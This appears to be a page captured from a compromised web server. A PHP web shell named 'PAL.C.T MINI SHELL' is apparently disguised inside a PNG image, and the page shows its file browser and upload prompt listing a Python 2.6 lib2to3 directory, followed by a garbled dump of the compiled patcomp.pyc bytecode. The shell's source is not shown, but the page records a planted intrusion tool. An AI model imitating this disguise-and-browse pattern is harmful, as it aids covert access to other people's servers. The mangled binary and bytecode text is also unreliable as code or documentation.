php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/lib/python2.6/lib2to3/
upload
files >> //proc/self/root/usr/lib/python2.6/lib2to3/patcomp.pyc

Lc@sdZdZddkZddklZlZlZlZlZl	Z	ddk
lZddk
lZei
iei
iedZd	efd
YZdZdefd
YZheid6eid6eid6dd6ZdZdZdZdS(sPattern compiler.

The grammer is taken from PatternGrammar.txt.

The compiler compiles a pattern to a pytree.*Pattern instance.
s#Guido van Rossum <guido@python.org>iNi(tdrivertliteralsttokenttokenizetparsetgrammar(tpytree(tpygramsPatternGrammar.txttPatternSyntaxErrorcBseZRS((t__name__t
__module__(((s%/usr/lib/python2.6/lib2to3/patcomp.pyRsc	csyttititif}titi|i	}x9|D]1}|\}}}}}||jo	|Vq@q@WdS(s6Tokenizes a string suppressing significant whitespace.N(
tsetRtNEWLINEtINDENTtDEDENTRtgenerate_tokensRtgenerate_linestnext(	tinputtskipttokenst	quintuplettypetvaluetstarttendt	line_text((s%/usr/lib/python2.6/lib2to3/patcomp.pyttokenize_wrapper s
tPatternCompilercBs>eZedZedZdZddZdZ	RS(cCs^ti||_ti|i|_ti|_ti|_	ti
|idt|_dS(s^Initializer.

        Takes an optional alternative filename for the pattern grammar.
        tconvertN(Rtload_grammarRRtSymbolstsymstpython_grammart	pygrammartpython_symbolstpysymstDrivertpattern_convert(tselftgrammar_file((s%/usr/lib/python2.6/lib2to3/patcomp.pyt__init__,s
cCsbt|}y|ii|d|}Wn*tij
o}tt|nX|i|S(s=Compiles a pattern string to a nested pytree.*Pattern object.tdebug(RRtparse_tokensRt
ParseErrorRtstrtcompile_node(R'RR*Rtrootte((s%/usr/lib/python2.6/lib2to3/patcomp.pytcompile_pattern7scCs
|i|iijo|id}n|i|iijog}|idddD]}||i|qX~}t|djo	|dStig}|D]}||gq~dddd}|i	S|i|ii
jorg}|iD]}||i|q~}	t|	djo	|	dSti|	gdddd}|i	S|i|iijo0|i|id}
ti
|
}|i	S|i|iijptd}|i}t|djo2|ditijo|di}|d}nd}
t|djo2|di|iijo|d}
|d }n|i||
}
|
dj	oi|
i|iijpt|
i}|d}|itijod}ti}n|itijod}ti}n|itijo}|ditijptt|d
jpt|i|d}}t|d	jo|i|d}qntpt|djp
|djo1|
i	}
ti|
ggd|d|}
qn|dj	o
||
_n|
i	S(sXCompiles a node, recursively.

        This is one big switch on the node type.
        iNiitmintmaxiii(ii(RR tMatchertchildrentAlternativesR.tlenRtWildcardPatterntoptimizetAlternativetNegatedUnitt
compile_basictNegatedPatterntUnittAssertionErrortNoneRtEQUALRtRepeatertSTARtHUGEtPLUStLBRACEtRBRACEtget_inttFalsetname(R'tnodet_[1]tchtaltst_[2]tatpt_[3]tunitstpatternRJtnodestrepeatR5tchildR2R3((s%/usr/lib/python2.6/lib2to3/patcomp.pyR.@sh:	9-		*
-

	


)

cCst|djpt|d}|itijo/tti|i}t	i
t||S|itijo|i}|i
oN|tjotd|n|dotdnt	i
t|S|djo
d}nK|idp:t|i|d}|djotd|q>n|do!|i|didg}nd}t	i||Snz|idjo|i|dS|id	joG|djpt|i|d}t	i|ggd
dddStp
t|dS(NiisInvalid token: %rsCan't have details for tokentanyt_sInvalid symbol: %rt(t[R2R3(R7R?RRtSTRINGtunicodeRt
evalStringRRtLeafPatternt_type_of_literaltNAMEtisuppert	TOKEN_MAPRR@t
startswithtgetattrR$R.R5tNodePatternR8RI(R'RURVRKRRtcontentt
subpattern((s%/usr/lib/python2.6/lib2to3/patcomp.pyR<s<
	




! cCs'|itijptt|iS(N(RRtNUMBERR?tintR(R'RK((s%/usr/lib/python2.6/lib2to3/patcomp.pyRHsN(
R	R
t_PATTERN_GRAMMAR_FILER)RIR1R.R@R<RH(((s%/usr/lib/python2.6/lib2to3/patcomp.pyR*s
		G#RaR\RitTOKENcCs=|diotiS|tijoti|SdSdS(Ni(tisalphaRRaRtopmapR@(R((s%/usr/lib/python2.6/lib2to3/patcomp.pyR`s
cCsZ|\}}}}|p||ijoti||d|Sti||d|SdS(s9Converts raw node information to a Node or Leaf instance.tcontextN(t
number2symbolRtNodetLeaf(Rt
raw_node_infoRRRoR5((s%/usr/lib/python2.6/lib2to3/patcomp.pyR&scCsti|S(N(RR1(RT((s%/usr/lib/python2.6/lib2to3/patcomp.pyR1s(t__doc__t
__author__tostpgen2RRRRRRtRRtpathtjointdirnamet__file__Rkt	ExceptionRRtobjectRRaR\RiR@RcR`R&R1(((s%/usr/lib/python2.6/lib2to3/patcomp.pyt<module>	s".		




				
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`